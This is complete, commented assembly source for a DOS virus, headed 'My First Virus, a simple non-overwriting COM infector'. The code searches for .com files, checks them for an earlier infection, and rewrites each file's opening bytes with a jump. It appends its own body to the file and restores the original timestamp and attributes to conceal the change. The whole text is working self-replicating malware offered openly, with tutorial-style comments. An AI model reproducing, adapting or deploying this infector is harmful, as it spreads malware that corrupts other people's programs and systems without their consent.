;****************************************************************** ;* * ;* My First Virus, a simple non-overwriting COM infector * ;* * ;* by, Solomon * ;* * ;****************************************************************** .model tiny ; Memory model .code ; Start Code org 100h ; Start of COM file MAIN: db 0e9h,00h,00h ; Jmp START_VIRUS START_VIRUS proc near ; Real start of Virus call FIND_OFFSET ; Calculate change in offset from host program. FIND_OFFSET: pop bp ; BP holds current IP sub bp, offset FIND_OFFSET ; Calculate net change ; Change BP to start of ; virus code ; Restore original bytes to the infected program. lea si,[bp+ORIG_START] ; Restore original 3 bytes mov di,100h ; to 100h, start of file push di ; Copy 3 bytes movsw movsb ; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy ; original command line parameters. lea dx,[bp+NEW_DTA] ; Point to new DTA area call SET_DTA ; Go change it ; DOS Findfirst / Findnext services FINDFIRST: mov ah,4eh ; DOS find first service lea dx,[bp+COM_MASK] ; Search for any COM file xor cx,cx ; Attribute mask FINDNEXT: int 21h ; Call DOS to do it jc QUIT ; Quit if there are errors ; or no more files ; Ok, if I am here, then I found a possible victim. Open the file and ; check it for previous infections. mov ax,3d00h ; DOS Open file, read only lea dx,[bp+NEW_DTA+30] ; Point to filename we found int 21h ; Call DOS to do it xchg ax,bx ; Put file handle in BX ; Check file for previous infection by checking for our presence at ; then end of the file. mov ah,3fh ; DOS Read file lea dx,[bp+ORIG_START] ; Save the original header mov cx,3 ; Read 3 bytes int 21h ; Call DOS to do it mov ax,word ptr [bp+NEW_DTA+26] ; Put filename in AX mov cx,word ptr [bp+ORIG_START+1] ; Jmp offset add cx,END_VIRUS-START_VIRUS+3; Convert to filesize cmp ax,cx ; Compare file size's jnz INFECT_COM ; If healthy, go infect it mov ah,3eh ; Otherwise close file and int 21h ; try to find another victim mov ah,4fh ; DOS find next file jmp short FINDNEXT ; Find another file ; Restore default DTA and pass control back to original program. ; Call any activation routines here. QUIT: mov dx,80h ; Restore original DTA call SET_DTA ; Go change it retn ; End Virus and start original ; Program. Remember, DI holding ; 100h was pushed on the stack. ;*** Subroutine INFECT_COM *** INFECT_COM: ; Reset the file attributes to normal so I can write to the file mov ax,4301h ; DOS change file attr xor cx,cx ; Zero attributes lea dx,[bp+NEW_DTA+30] ; Point to filename in DTA int 21h ; Call DOS to do it ; Calculate jump offset for header of victim so it will run virus first. mov ax,word ptr [bp+NEW_DTA+26] ; Put filesize in AX sub ax,3 ; Subtract 3, size-jmp_code mov word ptr [bp+JMP_OFFSET],ax ; Store new offset ; Close the file and reopen it for read/write. BX still holds file handle. mov ah,3eh ; DOS close file int 21h ; Call DOS to do it mov ax,3d02h ; DOS open file, read/write int 21h ; Call DOS to do it xchg ax,bx ; Put file handle in BX ; Write the new header at the beginning of the file. mov ah,40h ; DOS write to file mov cx,3 ; Write 3 bytes lea dx,[bp+HEADER] ; Point to the 3 bytes to write int 21h ; Call DOS to do it ; Move to end of file so I can append the virus to it. mov al,2 ; Select end of file call FILE_PTR ; Go to end of file ; Append the virus to the end of the file. mov ah,40h ; DOS write to file mov cx,END_VIRUS-START_VIRUS ; Length of virus lea dx,[bp+START_VIRUS] ; Start from beginning of virus int 21h ; Call DOS to do it ; Restore the file's original timestamp and datestamp. These values were ; stored in the DTA by the Findfirst / Findnext services. mov ax,5701h ; DOS set file date & time mov cx,word ptr [bp+NEW_DTA+22] ; Set time mov dx,word ptr [bp+NEW_DTA+24] ; Set date int 21h ; Call DOS to do it ; Restore original file attributes. mov ax,4301h ; DOS change file attr mov cx,word ptr [bp+NEW_DTA+21] ; Get original file attr lea dx,[bp+NEW_DTA+30] ; Point to file name int 21h ; Call DOS ; Lastly, close the file and go back to main program. mov ah,3eh ; DOS close file int 21h ; Call DOS to do it jmp QUIT ; We're done ;*** Subroutine SET_DTA *** SET_DTA proc near mov ah,1ah ; DOS set DTA int 21h ; Call DOS to do it retn ; Return SET_DTA endp ;*** Subroutine FILE_PTR *** FILE_PTR proc near mov ah,42h ; DOS set read/write pointer xor cx,cx ; Set offset move to zero cwd ; Equivalent to xor dx,dx int 21h ; Call DOS to do it retn ; Return FILE_PTR endp ; This area will hold all variables to be encrypted COM_MASK db '*.com',0 ; COM file mask ORIG_START db 0cdh,20h,0 ; Header for infected file HEADER db 0e9h ; Jmp command for new header START_VIRUS endp END_VIRUS equ $ ; Mark end of virus code ; This data area is a scratch area and is not included in virus code. JMP_OFFSET dw ? ; Jump offset for new header NEW_DTA db 43 dup(?) ; New DTA location end MAIN